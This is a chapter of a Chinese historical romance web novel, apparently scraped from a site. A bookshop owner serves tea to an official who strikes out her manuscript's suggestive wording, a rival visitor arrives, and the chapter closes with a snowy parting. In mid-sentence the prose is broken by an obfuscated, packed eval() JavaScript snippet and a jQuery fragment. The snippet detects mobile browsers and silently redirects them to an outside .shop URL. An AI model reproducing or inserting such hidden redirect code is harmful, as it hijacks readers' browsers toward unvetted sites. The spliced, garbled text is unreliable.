顾守生抬眸看来。
彼时水也烧开了,咕嘟咕嘟冒泡,从初沸的“蟹眼”很快变成“腾波鼓浪”。
余知微心跳得紧,却听他道:“水开了,别烫着手。”
她没想到他会说这个,微微一愣,应了声“嗳”,小心提起砂铫,将滚水注入紫砂小壶。西湖龙井在壶底舒展开来,一缕茶香混着热气,在屋里慢慢漾开。
稍许,她沏了两杯茶,将他那杯慢慢推去:“大人请用茶,这是今年的新龙井。”
顾守生的眸光从手稿移到茶盏,白瓷小杯胎薄如纸,釉色莹白,愈发衬得茶汤翠绿。继而他眸光一转,落在她那翠绿衣衫上,映着她白润的手腕。
余知微轻轻移着手,又将甜点盘子推到他面前:“还有茶糕,您也尝尝。”
她晓得他喜欢甜点,特意准备了。
米粉蒸的五色茶糕,味道香甜软糯,配茶吃正好。还搁着一双乌木签子,用来戳茶糕,不脏手。
顾守生微微颔首:“余掌柜招待周到,就连茶盏也费了心思。”
他称她余掌柜?
余知微定了定神,说道:“我们开书坊的,虽是匠户,但经营的乃风雅之业,铺面便是脸面,不敢敷衍。这套茶盏,是家父早年收的,没有落款,不知永乐还是宣德白瓷,一直舍不得用。如今新铺开张,便拿出来待客。”
顾守生举盏,抿了两口,又将白瓷茶盏对着窗光打量了下:“大抵是永乐的。胎薄,能见影。令尊眼光不错。”
“器物看细节,文也一样。”他搁下茶盏,没动那盘茶糕,而是执起手稿,继续审阅。
这人竟能辨别瓷器,余知微吃了一惊。可最后那句话似在点她?
她在他对面坐下,坐得端端正正,然心绪不宁,眸光飘来飘去。
她偷眼打量,先是注意到他搭在椅子上的手。手指甚是修长,骨节分明,指甲状若圆贝,修剪齐整。左手背上却有一道深疤。
可惜了,这么一只好看的手。
她心想。
接着又瞥见—— 他袍子下摆露出的腿,笔直修长,一直伸到梨花桌底下。
好长的腿。
她忍不住多打量了两眼。
陆将军的腿也似他这样吧,唉,可惜有疾。
“腿疾?”顾守生抬眸,“陆安,为何患的是腿疾?”
“欸?”余知微噌地收回眸光。
怎么他们想到一处去了!吓死她了!
她清了清嗓子,说道:“陆将军久经沙场,难免受伤。他身上也有其他伤,不过腿部中箭,落下的旧疾最严重。”当然她没有说出真正用意。
她双颊漫出红晕,拿眼偷偷觑了下他,“大人觉得…… 有何不妥?”
顾守生凝视她片刻,神情未变,只是手移往自己的腿,暗悄悄用袍子遮了去。
“也非不妥,但,秦氏为他腿伤敷药,你所用笔墨过多。”他像似猜透了她的小心思,“记住,不可流于艳俗,轻浮。”
余知微心里不情愿,但应道:“大人提醒的是。”
她将甜点盘子又往他那边挪了挪:“您尝尝茶糕,今日刚买的。我再给您沏些茶。”略带讨好的声音也散出一丝软糯糯的甜。
“茶水不必了,我稍后便走。”顾守生瞥她一眼,从怀里取出一只白信封,搁在桌上,“上回你写的,已批注。”
怪不得沈总旗没传信,原来顾大人自个儿带来了。
余知微连忙打开,一页页翻看。
好多红圈圈!
“娇…”“轻喘”“他身子健硕挺拔,容貌俊美,女子见了便脸红,偷偷瞧两眼”“眼波流转”…… 诸如此类的字眼都被他抠了出来。
娘哩!某江审核顶多不让写脖子以下,这人却连眼神拉丝、呼吸分寸也要管。
尤其“娇”字最离谱。
娇羞,娇笑,娇美,娇滴滴的,她喜欢用“娇”。
那人竟朱笔批注—— 六页,二十三处娇。极矫情。删。每页限一娇。
救命啊!
余知微双手颤抖。她可是娇妻文学城出来的作者,矫情点怎么了?
边上,顾守生气定神闲,拿起乌木签子戳了一块茶糕。他吃得很是讲究,一点糕沫也没落下。
因为过于紧张,余知微肚子咕噜叫唤。她伸出微微颤抖的手,也吃了两块茶糕,积蓄力气。
她心忐忑着。
接下来的内容…… 顾夫子更有的挑剔了。
顾守生一页页地翻着,果然眉头蹙了起来。
“这个军医,为何要写?还几番与秦氏交谈。”
余知微搪塞道:“他为陆将军治腿疾,秦氏晓得他是江南同乡,俩人便说说话儿。”
顾守生抬眸看她:“说话便说话,她为何要笑?”
她料到他会有反应,却没料到他竟连那些藏着小心思的细节都看了出来。
“秦氏高兴,自然就笑了,大人觉得有何不妥?”余知微佯装糊涂。
顾守生没接话,翻回前一页。
“这些关于,”他顿了顿,似乎羞于启齿,“秦氏的念头,写来又是做甚?”他手指在页面轻轻弹了一下,正色看来。
余知微伸长脖子,瞄向他所指那页,一些字眼钻入她眼里。
——“娇身”“他侧颜愈俊了”“不曾碰她”“鸳鸯被”
是那段关于圆房的怨思。
“我,我这是…… 描绘秦氏的思绪……”余知微的脸更红了。
顾守生神色肃穆,语气像似谈着公事:“女子不该这般胡思乱想,你写出来更是不合礼数。”
他真生气了?
余知微心里一咯噔,偷眼觑去,蓦地瞥见——
窗光映照之下,他耳尖微红,眉梢那粒小红痣也跟着火辣辣地跳了一下。
顾大人似乎羞了?
余知微着实惊讶,忽生一个念头。
“大人,民女觉得,论迹不论心,论心无完人。”她缓缓说着,泛红的脸庞流露几分委屈神色,“秦氏远嫁他乡,孤单,害怕,心里想想也非罪过。何况,身旁那人是她夫君…… 至今不曾圆房……”
她故意强调“圆房”两字,且拖长了声。
“这些也怪不得秦氏。大人您说呢?”
她鼓起勇气,从被动挨打到主动进攻。
眸光掠过那人紧绷的下颌,还有他那只握着茶盏的手。
噫,他不会又捏杯子吧,这可是永乐古董很值钱的!
余知微:……
眼见这位正经大人冷脸沉默,眸光落在她脸上。她心扑通扑通地跳着,只觉得脸颊又热又烫,倏地扭开头。
空气中弥漫着一股令人窒息的压迫感。
“余掌柜,王公子前来探访。”门外传来轻唤。
余知微回神,噌地站起身。
“王公子?!”
哪位王公子?难道是真的王公子??
余知微大惊失色,转眸看向顾守生。
“我出去看看,马上便回!”
顾守生站起身,理了理衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731680|208414||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
袍:“文已阅,我该走了。”他戴上大帽。
余知微顿了下:“那我送您。”
走出会客间,她便瞧见万珍阁的少东家王鑫。
货真价实的王公子!早不来晚不来,偏偏这时候!
这位京城出了名的富商公子,喜欢亮丽衣色,穿着京城流行的宝蓝色锦袍,织着暗花云纹,腰系玉佩,头戴唐巾,一派风流倜傥。他长身玉立,正站在柜前打量着。
余知微的心砰砰跳着,硬着头皮迎上前:“王公子。”
王鑫转过身来,面如冠玉的脸上含着笑:“余掌柜真是大忙人,生意不错么?”他又看向她身旁来客,“适才我听福伯说,这位也是王公子?”
“姐姐——!”元宝不知从哪里钻出来。
“我今日去见表哥哥,说你新店怎么怎么好,他刚从苏杭回来,便来探访。”元宝拽着王鑫的袖子,“表哥哥,怎么样?余墨阁生意好着呢,你就安心等着收钱吧!”
余知微惊出一身汗。王小八卦也在啊!
王小八卦走近,侧头,好奇瞧了瞧戴帽子的客人:“这位公子也姓王?好巧。”
顾守生拉低帽沿,朝他们拱手:“各位慢聊,我先行一步。”他转向余知微,“多谢余掌柜款待。”话罢,他转身便走。
望着顾守生徐徐出门的背影,余知微犹豫片刻,朝王鑫欠身道:“王公子请去里屋歇一会儿,我随后便来。”她疾步追了出去。
天空正飘着雪。
“呀,怎么下雪了。”余知微拢紧衣裳。
眼见他背影越离越远,“您稍等——!公子——”
她不能喊他名字,只能这么唤道。
顾守生在街道拐角处,定住脚步。
余知微跑到他跟前,呼吸急促:“那,那文……”她四下张望后,挨近了些,轻轻说道,“您还没说,哪里要改?”
顾守生低头看她,帽檐下那张脸依旧清冷,但眸底的寒意似乎薄了些。
“圈出来的,或改或删。往后注意措辞。”他顿了顿,别开头,“还有,那事儿,早些让他们圆了。一笔带过。”
余知微愣了几息,才明白过来。
他指的是圆房。
“嗯嗯,明白。”余知微乖巧点头,悬着的心稍稍放下。只要不是重写就好。
下雪喽——!下雪喽——!初雪喜洋洋呦——!
三五位孩童从他们身旁雀跃跑过,手舞足蹈的,任由那些细碎的雪沫子落在身上。
初雪。
她忽忆起,老人常说见到初雪时,有情人若能相见,便能相守一整个冬天,还有来年。
小小的雪花飘在他们中间。
“今年的雪,来的有些早。”
顾守生喃喃低语,眸光投往她单薄的衣衫上,“你回吧。”
余知微点点头:“下一章我会及时完稿,且注意措辞。大人请放心。”雪花落在睫羽上,她眨了眨眼,一点凉意顺着鼻尖滑下来。
“啊嚏——”她揉了揉鼻子,肩头微缩。
一件大氅披落,带着那人身上的体温,沉甸甸地裹住了她。
余知微倏地愣怔。
她手指攥着衣缘,那绒料厚实软绵,蹭在脸颊很是暖和。
“顾大人……”
轻盈的雪花落在她发烫的脸上洇成小小的水痕。
“等我写完新稿,”她顿了顿,仰头看着他,“您还来么?”
这话问出口,她后悔莫及。
她可没有邀请他的意思……!